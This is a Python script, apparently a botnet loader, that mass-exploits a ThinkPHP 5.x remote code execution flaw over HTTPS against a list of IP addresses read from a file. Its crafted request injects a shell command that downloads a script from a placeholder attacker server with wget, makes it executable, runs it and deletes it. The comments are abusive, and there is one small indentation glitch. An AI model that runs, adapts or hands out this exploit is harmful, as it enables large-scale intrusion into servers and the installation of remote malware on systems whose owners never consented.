#!/usr/bin/python
 
# ThinkPHP 5x - Remote Code Execution ( SSL VERSION )
# Scan on port 443 for more results the original version of that exploit / loader is fucking bullshit
# Modified by vbrxmr the your daddy
 
import threading
import socket
import ssl
import time
import sys
 
info = open(str(sys.argv[1]),'a+')
 
class thinkphp(threading.Thread):
    def __init__(self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
    def run(self):
        try:
            request = "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd /tmp; wget http://YOUR.SERVER.IP/bins/vbrxmr.sh; chmod 777 vbrxmr.sh; sh vbrxmr.sh; rm -rf vbrxmr.sh' HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: chokemedaddy/1.0\r\n\r\n" # payload stage
 
                       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            ssl_sock = ssl.wrap_socket(sock)
            ssl_sock.connect((self.ip, 443)) # https port for the socket connection do not change this moron
 
            ssl_sock.sendall(request.encode('utf-8')) # some encoding
            ssl_sock.close()
        except Exception as e:
            print(e)
            return
 
 
 
for ip in info:
    try:
        time.sleep(0.01)
        thinkphp(ip).start()
    except:
        pass